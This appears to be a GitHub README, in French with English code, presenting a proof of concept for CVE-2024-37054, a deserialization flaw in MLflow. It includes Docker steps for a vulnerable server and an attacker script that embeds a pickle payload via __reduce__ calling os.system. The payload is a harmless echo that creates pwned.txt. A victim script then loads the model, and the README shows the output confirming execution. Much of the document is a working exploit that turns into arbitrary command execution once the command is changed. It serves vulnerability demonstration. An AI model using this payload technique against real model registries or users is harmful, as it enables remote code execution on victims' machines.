niteeshpujari/cve-2024-37054-mlflow-rceNiteeshPujari/CVE-2024-37054, Ce dépôt contient une preuve de concept (PoC) pour une vulnérabilité critique de désérialisation dans MLflow qui permet l'exécution de code à distance (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Ce dépôt contient une preuve de concept (PoC) pour CVE-2024-37054, une vulnérabilité critique de désérialisation dans MLflow qui permet l'exécution de code à distance (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. Un attaquant peut créer un modèle malveillant contenant une charge utile sérialisée (pickle). Lorsque la victime charge ce modèle, la charge utile est désérialisée via cloudpickle.load, conduisant à l'exécution de code arbitraire sur la machine de la victime.0.9.0 jusqu'à, mais non comprise, 2.14.2._load_pyfunc dans mlflow/pyfunc/model.py.Cette preuve de concept simule deux rôles : un attaquant qui télécharge un modèle malveillant et une victime qui le charge, déclenchant l'exécution de code à distance (RCE).
Le moyen le plus simple de configurer un serveur MLflow vulnérable est d'utiliser le Dockerfile fourni.
Construire et exécuter le conteneur Docker :
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Votre serveur MLflow vulnérable est maintenant en cours d'exécution à l'adresse http://127.0.0.1:5000.
Vous aurez besoin de deux terminaux distincts sur votre machine hôte. Assurez-vous d'avoir une version vulnérable de mlflow installée localement (pip install mlflow==2.14.1) pour exécuter les scripts clients.
Dans votre premier terminal, exécutez le script de l'attaquant pour enregistrer le modèle malveillant.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
Exécutez-le :
python poc/log_malicious_model.py
Dans votre deuxième terminal, exécutez le script de la victime pour simuler le chargement du modèle compromis.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
Exécutez-le :
python poc/load_vulnerable_model.py
Après avoir exécuté le script de la victime, vous verrez le message /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found dans le terminal, et un nouveau fichier nommé pwned.txt sera créé dans votre répertoire. Cela confirme l'exécution réussie de la commande.
Cette preuve de concept a été développée par Pujari Niteesh.